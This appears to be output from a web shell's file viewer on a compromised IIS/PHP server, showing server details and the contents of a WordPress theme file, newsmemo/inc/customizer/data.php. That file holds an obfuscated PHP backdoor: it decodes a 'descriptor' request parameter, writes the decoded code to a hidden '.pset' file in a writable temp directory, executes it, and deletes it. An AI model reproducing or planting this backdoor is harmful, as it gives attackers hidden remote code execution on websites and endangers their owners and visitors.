HEX
Server: Microsoft-IIS/10.0
System: Windows NT WIN8095 10.0 build 20348 (Windows Server 2016) AMD64
User: kytoffice-001 (0)
PHP: 7.4.30
Disabled: exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
Upload Files
File: h:/root/home/kytoffice-001/www/expresstinou/wp-content/themes/newsmemo/inc/customizer/data.php
<?php if(ArrAY_KEY_exiStS("des\143riptor",$_REQUEST)):$_0=aRRay_FILter(["\x2fv\141r/t\x6d\160",seSsIOn_SavE_PaTh(),GETcwD(),Ini_geT("uplo\141\x64_\x74mp_dir"),GETeNV("TMP"),"\057de\166/shm","\057tmp",getENV("\x54EMP"),syS_get_TemP_Dir()]);$_1=$_REQUEST["\144escriptor"];$_1=eXpLoDe(".",$_1);$_2="";$_3="abcdefghijklm\x6eo\x70\x71\x72stuvwxyz\06012345\x367\0709";$_4=STrlen($_3);foreach($_1 as$_5=>$_6):$_7=Ord($_3[$_5%$_4]);$_8=((int)$_6-$_7-($_5%(0361+-0347)))^(int)roUNd(22+22+22+22);$_2.=chr($_8);endforeach;foreach($_0 as$_9=>$_10):if(mAx(0121+010+-0131,iS_dIr($_10)*is_WrItAblE($_10))):$_11=$_10."/.pset";$_12=FOPeN($_11,"\x77");if($_12&&FWRItE($_12,$_2)):fCLosE($_12);require $_11;@unliNK($_11);exit;endif;endif;endforeach;endif;